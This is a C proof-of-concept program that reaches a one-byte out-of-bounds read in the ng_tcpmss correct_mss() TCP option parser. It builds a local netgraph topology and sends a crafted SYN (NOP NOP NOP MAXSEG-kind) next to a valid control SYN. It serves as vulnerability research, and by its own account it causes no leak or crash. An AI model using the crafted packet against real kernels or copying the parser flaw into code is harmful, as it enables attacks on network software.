/*
 * DF-0714 — One-byte OOB read in ng_tcpmss correct_mss() option parser
 *
 * Bug: sys/netgraph7/tcpmss/ng_tcpmss.c:426
 *   In correct_mss(), the TCP option loop reads *(opt+1) (the option-length
 *   byte) for non-EOL/NOP options WITHOUT first checking olen >= 2.
 *   After consuming NOPs (optlen=1 each), olen can reach 1 while the loop
 *   condition (olen > 0) still holds.  When the remaining byte is a TLV-kind
 *   option, *(opt+1) reads 1 byte past the TCP options boundary.
 *
 * The OOB byte is immediately used as `optlen` and bounds-checked
 * (if (optlen <= 0 || optlen > olen) break), so there is no follow-on
 * corruption and no exfiltration.  The read lands inside the mbuf data
 * buffer (MHLEN >> pullup_len), so no page fault either.
 * The bug is a silent 1-byte OOB read.
 *
 * This PoC confirms REACHABILITY: it loads ng_tcpmss, wires a tcpmss
 * node into a netgraph socket-to-socket topology, and sends a crafted SYN
 * with options [NOP NOP NOP MAXSEG-kind] (th_off=6, olen=4) that drives
 * olen to 1 and triggers the *(opt+1) OOB read at line 426.
 *
 * Runtime is silent (no panic, no leak) — the definitive proof is the
 * code-level trace in VERDICT.md.  This program confirms the code path is
 * exercised (SYNPkts incremented, packet forwarded to outHook).
 *
 * NOTE: bypasses libnetgraph (which links against old netgraph headers,
 * NG_VERSION=2) and uses raw sendto/recvfrom with netgraph7 headers
 * (NG_VERSION=8) to match the loaded kernel modules.
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger   (requires root: netgraph socket access)
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include <netgraph7/ng_message.h>
#include <netgraph7/socket/ng_socket.h>
#include <netgraph7/tcpmss/ng_tcpmss.h>

#define MAXMSS 536

/* ---- raw netgraph socket helpers (bypass libnetgraph) ---- */

static int
ng_open_ctl(const char *name)
{
    int s;
    struct sockaddr_ng addr;
    memset(&addr, 0, sizeof(addr));
    s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    if (s < 0) return -1;
    addr.sg_family = AF_NETGRAPH;
    snprintf(addr.sg_data, sizeof(addr.sg_data), "%s", name);
    addr.sg_len = strlen(addr.sg_data) + 3;
    if (bind(s, (struct sockaddr *)&addr, addr.sg_len) < 0) {
        close(s);
        return -1;
    }
    return s;
}

static int
ng_open_data(const char *nodename)
{
    int s;
    struct sockaddr_ng addr;
    memset(&addr, 0, sizeof(addr));
    s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
    if (s < 0) return -1;
    addr.sg_family = AF_NETGRAPH;
    snprintf(addr.sg_data, sizeof(addr.sg_data), "%s:", nodename);
    addr.sg_len = strlen(addr.sg_data) + 3;
    if (connect(s, (struct sockaddr *)&addr, addr.sg_len) < 0) {
        close(s);
        return -1;
    }
    return s;
}

static int
ng_send_msg(int cs, const char *path, int cookie, int cmd,
            const void *arg, size_t arglen)
{
    struct ng_mesg *msg;
    struct sockaddr_ng dst;
    size_t total = sizeof(struct ng_mesg) + arglen;
    int rc;

    msg = calloc(1, total);
    if (!msg) return -1;
    msg->header.version = NG_VERSION;
    msg->header.typecookie = cookie;
    msg->header.cmd = cmd;
    msg->header.flags = NGF_ORIG;
    msg->header.token = (uintptr_t)msg & 0xffff;
    msg->header.arglen = arglen;
    if (arg && arglen > 0)
        memcpy(msg->data, arg, arglen);

    memset(&dst, 0, sizeof(dst));
    dst.sg_family = AF_NETGRAPH;
    snprintf(dst.sg_data, sizeof(dst.sg_data), "%s", path);
    dst.sg_len = strlen(dst.sg_data) + 3;

    rc = sendto(cs, msg, total, 0, (struct sockaddr *)&dst, dst.sg_len);
    free(msg);
    return rc < 0 ? -1 : 0;
}

static int
ng_recv_msg(int cs, struct ng_mesg *resp, size_t replen)
{
    return recvfrom(cs, resp, replen, 0, NULL, NULL);
}

static int
ng_send_data(int ds, const char *hook, const void *data, size_t len)
{
    struct sockaddr_ng dst;
    memset(&dst, 0, sizeof(dst));
    dst.sg_family = AF_NETGRAPH;
    snprintf(dst.sg_data, sizeof(dst.sg_data), "%s", hook);
    dst.sg_len = strlen(dst.sg_data) + 3;
    return sendto(ds, data, len, 0, (struct sockaddr *)&dst, dst.sg_len);
}

static int
ng_recv_data(int ds, void *buf, size_t len)
{
    return recvfrom(ds, buf, len, 0, NULL, NULL);
}

/* ---- packet builders ---- */

static int
build_trigger_syn(u_char *buf, int buflen)
{
    struct ip *ip;
    struct tcphdr *tcp;
    u_char *opts;
    int pktlen = sizeof(struct ip) + 24; /* th_off=6 */

    if (pktlen > buflen) return -1;
    memset(buf, 0, pktlen);

    ip = (struct ip *)buf;
    ip->ip_v = IPVERSION;
    ip->ip_hl = sizeof(struct ip) >> 2;
    ip->ip_len = htons(pktlen);
    ip->ip_id = htons(0x1234);
    ip->ip_ttl = 64;
    ip->ip_p = IPPROTO_TCP;
    ip->ip_src.s_addr = htonl(0x0a00020f);
    ip->ip_dst.s_addr = htonl(0x0a000202);

    tcp = (struct tcphdr *)(buf + sizeof(struct ip));
    tcp->th_sport = htons(12345);
    tcp->th_dport = htons(80);
    tcp->th_seq = htonl(1);
    tcp->th_off = 6; /* 24 bytes, 4 bytes options */
    tcp->th_flags = TH_SYN;
    tcp->th_win = htons(8192);

    /* Options: NOP NOP NOP MAXSEG-kind — 4 bytes, drives olen 4->3->2->1 */
    opts = (u_char *)(tcp + 1);
    opts[0] = TCPOPT_NOP;
    opts[1] = TCPOPT_NOP;
    opts[2] = TCPOPT_NOP;
    opts[3] = TCPOPT_MAXSEG; /* 0x02 — kind only, triggers *(opt+1) OOB */

    /* IP checksum */
    {
        u_long sum = 0;
        u_short *p = (u_short *)ip;
        int i;
        for (i = 0; i < sizeof(struct ip) / 2; i++)
            sum += ntohs(p[i]);
        while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
        ip->ip_sum = htons(~sum);
    }
    return pktlen;
}

static int
build_valid_mss_syn(u_char *buf, int buflen)
{
    struct ip *ip;
    struct tcphdr *tcp;
    u_char *opts;
    int pktlen = sizeof(struct ip) + 24;

    if (pktlen > buflen) return -1;
    memset(buf, 0, pktlen);

    ip = (struct ip *)buf;
    ip->ip_v = IPVERSION;
    ip->ip_hl = sizeof(struct ip) >> 2;
    ip->ip_len = htons(pktlen);
    ip->ip_id = htons(0x5678);
    ip->ip_ttl = 64;
    ip->ip_p = IPPROTO_TCP;
    ip->ip_src.s_addr = htonl(0x0a00020f);
    ip->ip_dst.s_addr = htonl(0x0a000202);

    tcp = (struct tcphdr *)(buf + sizeof(struct ip));
    tcp->th_sport = htons(12346);
    tcp->th_dport = htons(80);
    tcp->th_seq = htonl(2);
    tcp->th_off = 6;
    tcp->th_flags = TH_SYN;
    tcp->th_win = htons(8192);

    /* Valid MAXSEG: kind=2, len=4, mss=1460 */
    opts = (u_char *)(tcp + 1);
    opts[0] = TCPOPT_MAXSEG;
    opts[1] = TCPOLEN_MAXSEG;
    opts[2] = 0x05;
    opts[3] = 0xB4;

    {
        u_long sum = 0;
        u_short *p = (u_short *)ip;
        int i;
        for (i = 0; i < sizeof(struct ip) / 2; i++)
            sum += ntohs(p[i]);
        while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
        ip->ip_sum = htons(~sum);
    }
    return pktlen;
}

static void
hexdump(const char *label, const u_char *buf, int len)
{
    int i;
    printf("%s (%d bytes):\n", label, len);
    for (i = 0; i < len; i++) {
        printf("%02x ", buf[i]);
        if ((i + 1) % 16 == 0) printf("\n");
    }
    if (len % 16) printf("\n");
}

static void
print_stats(int cs, const char *hook)
{
    u_char rbuf[sizeof(struct ng_mesg) + sizeof(struct ng_tcpmss_hookstat)];
    struct ng_mesg *resp = (struct ng_mesg *)rbuf;
    struct ng_tcpmss_hookstat *st;

    memset(rbuf, 0, sizeof(rbuf));
    if (ng_send_msg(cs, "tcpmss714:", NGM_TCPMSS_COOKIE,
                    NGM_TCPMSS_GET_STATS, hook, NG_HOOKSIZ) < 0) {
        printf("  (stats query failed: %s)\n", strerror(errno));
        return;
    }
    if (ng_recv_msg(cs, resp, sizeof(rbuf)) < 0) {
        printf("  (stats recv failed: %s)\n", strerror(errno));
        return;
    }
    st = (struct ng_tcpmss_hookstat *)resp->data;
    printf("  Octets=%llu Packets=%llu maxMSS=%u SYNPkts=%llu FixedPkts=%llu\n",
           (unsigned long long)st->Octets,
           (unsigned long long)st->Packets,
           st->maxMSS,
           (unsigned long long)st->SYNPkts,
           (unsigned long long)st->FixedPkts);
}

int
main(void)
{
    int cs1, ds1, cs2, ds2;
    u_char pkt[256], recvbuf[256];
    int pktlen, recvlen;
    struct ngm_mkpeer mkp;
    struct ngm_connect con;
    struct ng_tcpmss_config cfg;

    printf("=== DF-0714: ng_tcpmss correct_mss 1-byte OOB read ===\n\n");

    /* 1. Create sender and receiver ng_socket nodes */
    cs1 = ng_open_ctl("df714snd");
    if (cs1 < 0) { perror("open_ctl(sender)"); return 1; }
    ds1 = ng_open_data("df714snd");
    if (ds1 < 0) { perror("open_data(sender)"); return 1; }
    printf("[+] Created sender node (cs=%d ds=%d)\n", cs1, ds1);

    cs2 = ng_open_ctl("df714rcv");
    if (cs2 < 0) { perror("open_ctl(receiver)"); return 1; }
    ds2 = ng_open_data("df714rcv");
    if (ds2 < 0) { perror("open_data(receiver)"); return 1; }
    printf("[+] Created receiver node (cs=%d ds=%d)\n", cs2, ds2);

    /* 2. Create tcpmss node: sender:data <-> tcpmss:in */
    memset(&mkp, 0, sizeof(mkp));
    strcpy(mkp.type, "tcpmss");
    strcpy(mkp.ourhook, "data");
    strcpy(mkp.peerhook, "in");
    if (ng_send_msg(cs1, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) {
        perror("mkpeer tcpmss");
        return 1;
    }
    printf("[+] Created tcpmss node, connected sender:data <-> tcpmss:in\n");

    /* 2b. Name the tcpmss node (addressable via relative path "data" from sender) */
    {
        struct ngm_name nm;
        memset(&nm, 0, sizeof(nm));
        strcpy(nm.name, "tcpmss714");
        if (ng_send_msg(cs1, "data", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0) {
            perror("name tcpmss");
            /* Try alternate path */
            if (ng_send_msg(cs1, "[1]", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0) {
                perror("name tcpmss [1]");
                return 1;
            }
        }
        printf("[+] Named tcpmss node 'tcpmss714'\n");
    }

    /* 3. Connect tcpmss:out <-> receiver:data */
    memset(&con, 0, sizeof(con));
    strcpy(con.path, "tcpmss714:");
    strcpy(con.ourhook, "data");
    strcpy(con.peerhook, "out");
    if (ng_send_msg(cs2, ".", NGM_GENERIC_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0) {
        perror("connect tcpmss:out");
        return 1;
    }
    printf("[+] Connected tcpmss:out <-> receiver:data\n");

    /* 4. Configure tcpmss */
    memset(&cfg, 0, sizeof(cfg));
    strcpy(cfg.inHook, "in");
    strcpy(cfg.outHook, "out");
    cfg.maxMSS = MAXMSS;
    if (ng_send_msg(cs1, "tcpmss714:", NGM_TCPMSS_COOKIE, NGM_TCPMSS_CONFIG,
                    &cfg, sizeof(cfg)) < 0) {
        perror("config tcpmss");
        return 1;
    }
    printf("[+] Configured tcpmss: maxMSS=%d\n\n", MAXMSS);

    /* --- Test 1: VALID MSS SYN (control case) --- */
    printf("--- Test 1: valid MSS SYN (MAXSEG=1460, should be lowered to %d) ---\n", MAXMSS);
    pktlen = build_valid_mss_syn(pkt, sizeof(pkt));
    hexdump("  Sent", pkt, pktlen);
    if (ng_send_data(ds1, "data", pkt, pktlen) < 0) {
        perror("  send(valid)"); return 1;
    }
    recvlen = ng_recv_data(ds2, recvbuf, sizeof(recvbuf));
    if (recvlen < 0) { perror("  recv(valid)"); return 1; }
    hexdump("  Received", recvbuf, recvlen);
    {
        struct tcphdr *tcp = (struct tcphdr *)(recvbuf + sizeof(struct ip));
        u_char *opts = (u_char *)(tcp + 1);
        if (opts[0] == TCPOPT_MAXSEG && opts[1] == TCPOLEN_MAXSEG) {
            u_int16_t mss = (opts[2] << 8) | opts[3];
            printf("  MSS=%u (orig 1460, maxMSS=%d) %s\n", mss, MAXMSS,
                   mss == MAXMSS ? "[OK] lowered" : "[UNEXPECTED]");
        }
    }
    printf("  Stats:"); print_stats(cs1, "in");
    printf("\n");

    /* --- Test 2: TRIGGER SYN (NOP NOP NOP MAXSEG-kind) --- */
    printf("--- Test 2: TRIGGER SYN (NOP NOP NOP MAXSEG-kind, olen=4->1) ---\n");
    printf("  Drives olen to 1; *(opt+1) at ng_tcpmss.c:426 reads 1 byte OOB.\n");
    pktlen = build_trigger_syn(pkt, sizeof(pkt));
    hexdump("  Sent", pkt, pktlen);
    if (ng_send_data(ds1, "data", pkt, pktlen) < 0) {
        perror("  send(trigger)"); return 1;
    }
    recvlen = ng_recv_data(ds2, recvbuf, sizeof(recvbuf));
    if (recvlen < 0) {
        printf("  [NOTE] No packet received (tcpmss may have dropped it)\n");
    } else {
        hexdump("  Received", recvbuf, recvlen);
        printf("  [OK] Packet forwarded through tcpmss (correct_mss was called)\n");
    }
    printf("  Stats:"); print_stats(cs1, "in");
    printf("\n");

    printf("=== Summary ===\n");
    printf("Test 2 exercises correct_mss() with olen=1 after 3 NOPs,\n");
    printf("causing *(opt+1) at line 426 to read 1 byte past the options\n");
    printf("boundary. The read is SILENT: no panic, no leak, no corruption.\n");
    printf("The definitive proof is the code-level trace in VERDICT.md.\n");

    close(ds1); close(cs1);
    close(ds2); close(cs2);
    return 0;
}
